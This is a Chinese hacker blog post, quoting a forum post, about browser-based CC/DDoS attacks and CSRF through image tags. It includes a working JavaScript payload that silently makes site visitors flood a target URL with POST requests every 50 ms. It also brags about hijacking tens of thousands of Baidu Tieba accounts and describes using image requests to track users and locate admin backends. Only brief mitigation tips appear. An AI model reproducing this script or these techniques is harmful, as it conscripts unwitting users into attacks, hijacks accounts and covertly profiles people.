标题:【CSRF】基于图片方式(<img)的 DDOS、CC、会话劫持以及刺探用户信息
关于:基于js的CC攻击实现与防御、以及图片方式的DDOS、CC、会话劫持、刺探用户信息
本文一时兴起所写,逻辑可能有点乱,一片烂文,将就着看看吧。
在 T00ls 看到个帖子,内容如下:
Tu3ur 发表于 2011-12-7 09:52:
刚刚在微博上看到说土司要大清洗了,才想起自己已经好久没来过土司了- -
为了保住账号,冒泡出来献烂文一篇,不会写文章啊,勉强看吧。
申明:此文不是为了教大家攻击别人网站,主要是为了学会更好的防御,如果不能发请斑竹删了吧,希望别ban ID。。。
Author:Tueur
正文:
前段时间开发了一个微博应用站,人气还不错,可不久就被人山寨了,连名字都一模一样,气不过就想到了报复。
因为整个网站全是基于腾讯api接口的,入侵短时间基本没可能性,我等小菜也没肉鸡DDoS。
突然想到了半年前不知道在哪看过一篇关于CC攻击原理分析的文章,我邪恶的想到了似乎用ajax也可以实现。
(为了更理解此文最好去网上查一下cc攻击原理,这里大牛这么多,我就不多说了。)
简单说cc攻击就是通过大量肉鸡模拟正常用户对网站某个需要获取大量数据的网页发送数据包,导致服务器崩溃。
其最重要的就是肉鸡,我网站一般都有上千人同时在线,于是他们都成为了我的“肉鸡”~
我写了一段攻击代码放我网站上,只要用户访问网站就会自动不断的通过ajax向指定页面发送post数据包,半个小时后对方网站基本over了。
当然,攻击的页面是我先选好了的需要获取数据量比较大的页面,这个很重要。
而且由于ajax跨域安全限制,发送数据包后浏览器是不会获取返回数据的,这样对当前访问的用户基本没有影响,跟正常访问没区别。
但缺点也是因为跨域限制,在IE下会弹出警告没有权限或需要授权,所以我在代码中if了ie浏览器下不执行函数。
如果你有pv大的shell的话这个不是问题,现在用非IE人已经很多了,我在忽略IE用户的情况下也只用了半个小时就o了。
下面是ajax攻击代码,间隔时间可以根据需要自己调整,我设置的是50毫秒一次。
<script type="text/javascript"> var t_postdata='id=datadatadatadatadata'; //数据越大攻击效果越好。 var t_url='http://www.xxx.com/test.php'; function c_xmlHttp() { if(window.ActiveXObject) { xmlHttp=new ActiveXObject('Microsoft.XMLHTTP'); } else if(window.XMLHttpRequest) { xmlHttp=new XMLHttpRequest(); } return xmlHttp; } function post_send() { var xmlHttp=c_xmlHttp(); xmlHttp.open("POST",t_url,true); xmlHttp.setRequestHeader("Content-Type","application/x-www-form-urlencoded"); xmlHttp.send(t_postdata); r_send(); } function r_send() { setTimeout("post_send()", 50);//50毫秒一次 } if(!+[1,])//IE下不执行。 {var fghj=1;} else {setTimeout("post_send()", 3000);}//访问网站3秒后再执行攻击,这样用户就毫无感觉。 </script>
防御办法:
1,对数据量比较大的页面使用缓存,尽量减少数据库连接。
2,对每个访问者设置ip cookie,限制时段内访问次数。
3,对每个用户设置session,限制时段内访问次数。
4,缩短Timeout时间,这样当连接过多就会自动丢弃一部分。
暂时就想到这些,欢迎大牛们完善。。。
很老很老很老的手法了,03年左右就有这种东西了,还有几年前的 XSS Shell 自带 JavaScript CC 功能。
从他这个想起来,以前玩CSRF的一些东西,顺道发了出来。
CSRF无权执行JavaScript代码都可以发包,即:无需XSS漏洞都可以,原理十分简单:
<img src="https://lcx.cc/index.asp?id=111">
因为浏览器才不管你是不是图片,照样访问并返回数据,完全等同于使用浏览器访问该地址,只不过图片会显示叉叉,因为返回的数据是错误的,非图片数据,把图片高宽设置为0即可。
09年的时候,我曾经用这种手法,劫持百度贴吧,哈哈哈,当时百度贴吧还存在此类漏洞:
<img src="/post.php?user=asdasdasd&data=asdasd">
就可以劫持他发帖了,只要访问了这个地址,就会发帖。
等于是用 <img 劫持了用户,强制提交了发帖数据,因为 cookies 是延用的,所以他成功发帖了。
也就是说,一打开你插入的页面,就会执行指定的操作,例如发帖等,几乎可以控制任何网页交互信息,例如让他去你空间发留言、刷人气,或者干脆修改密码……
劫持受害者账号操作受害者的百度空间,进行文章删除 新建 编辑 等操作,以及添加/删除友情链接,删除添加好友...编辑背景音乐..编辑宠物...头像..几乎任意东西....
还可以做成蠕虫哟……
还可以抢夺吧主,因为吧主的认证策略是,现任吧主在你的申请帖里回复一个“同意”,这个很容易就做到了。
当年劫持了数万用户,打造了一个神贴。。。几千页,所有用户回复都是“Hacker'Rose 帅呆了,牛逼完了..是世人的典范!”,内容大概是这个,记不清了,当年曾轰动一时,百度贴吧负责安全的家伙亲自来联系我……
恩,想起来了,当时我发的贴叫“百度帐号系统 致命漏洞!【演示帖】【强行置顶】”,呵呵,自然是强行“置顶”了,因为所有进来的用户都被强制回帖了,当时的帖子地址为:http://tieba.baidu.com/f?kz=625062875,后来被删除了。
还有相关连接存在:
http://tieba.baidu.com/f?kz=625162702
http://tieba.baidu.com/f?kz=625180243
http://tieba.baidu.com/f?kz=625071888
http://tieba.baidu.com/f?kz=625535362
http://hi.baidu.com/zekaed/blog/item/6d625409b04eafd862d986bb.html [此贴有部分图片,是转载的我的原文,其实我原文当时截图了超多图片,原文我后来搬迁博客的时候删除了,百度相册我没删,应该还有吧]
http://tieba.baidu.com/f?kz=625223451
http://club.china.com/data/thread/1011/2703/98/17/2_1.html
缺点是,仅限于GET数据,无法提交Post数据。
还有,高级的利用手法,例如,如果你改成论坛转金币、顶、踩、投票之类的连接,那就爽了……
而且还可以做“主控系统”,即集群控制,当年我便是这样做的。
在百度贴吧插入图片,地址为:https://lcx.cc/img.asp?x.jpg,然后img.asp就可以进行集群控制了,平时不用的时候,返回正常图片即可。
等到用的时候:Response.Redirect "http://www.baidu.com/fuck.asp?cao=nima",(页面跳转不会影响Cookies),你懂的……
哈哈哈哈哈哈哈哈哈哈哈哈哈哈!
如今,你现在还可以利用这类手法继续进行“劫持”,该“漏洞”无法被封,有个专门的名词叫:CSRF,类似XSS的跨站攻击,具体请参阅:http://baike.baidu.com/view/1609487.htm
再提示下,img.asp 中可以获取所有用户信息,包括当前访问的地址,来路,IP,以及整个HTTP头,除了cookies与插入的网页不一样以外,其他的信息完全一致,所以,可以用来做信息记录,例如给论坛个人签名里放一张图片,然后你懂得,嘿嘿,曾在t00ls这么干过。。。
更高级的用法,由于是图片,所以支持几乎所有网页形式的内容,例如:贴吧、论坛、留言板、许愿墙、各种邮箱、百度知道问答……,哈哈哈,至于用来干什么?当然是用来收集用户信息了,为下一步入侵做准备,哈哈哈哈哈……
哈哈哈,我曾在QQ邮箱这么干过,哈哈哈,具体干什么,就不方便说了,哦,呵呵呵呵呵……
至于 img.asp 中的代码,请参阅本站另外几篇文章:
其中部分代码,便是我当年用过的,当年为了这个,收集了大量浏览器、手机等信息,此类脚本现在还有写,当然比这些更精良了,改天插在 t00ls.net 给大家演示下。
另外再提示一下,每个人HTTP头中的浏览器及系统信息是完全不一样的,重复的几率比较低,可以通过这个识别指定的账号,虽然无权执行JavaScript,但还是可以精准的识别到访问者在论坛的账号等信息。
嘿嘿,就能知道某人访问了你的帖子,但丫没回!还可以知道某个美眉是哪里的啦、神马系统啦、神马浏览器啦……
这个很早就有大量应用了,例如那些论坛个人签名中的显示IP和系统信息的图片。
这个玩精了,能做的事情相当多,当然,也能用到日站上,例如:
嘿嘿嘿,日个站?不知道后台地址?So,聪明的你瞬间就想到了解决办法:在神马留言的地方插入XSS?Oh,Shit!丫没XSS漏洞,那么办呢?定睛一看,恩?可以插入图片?Soga,你懂了……
管理在后台一查看留言,嘎嘎,地址以及管理的机器信息就到手了,或者干脆去跟他交换友情链接,图片式的链接,管理肯定要在后台编辑器里编辑,由于在线Html编辑器是“动态执行”即所见即所得,然后你懂的……
哦~ 呵呵呵呵呵呵呵…… 好猥琐……
PS:我记得很久很久以前在论坛讨论过这玩意儿?对的,娃娃曾经问我要过这个脚本。
嘿嘿嘿,再补充一下,前一段时间,搞投票,我曾想写个刷论坛投票之类的文章,苦于没时间,也就没研究了。(靠,那个投票贴,不是刷的!别乱理解啊。。。)
不出意外的话,这种手段,对各种论坛、贴吧投票,是一针见血的……
留言评论(旧系统):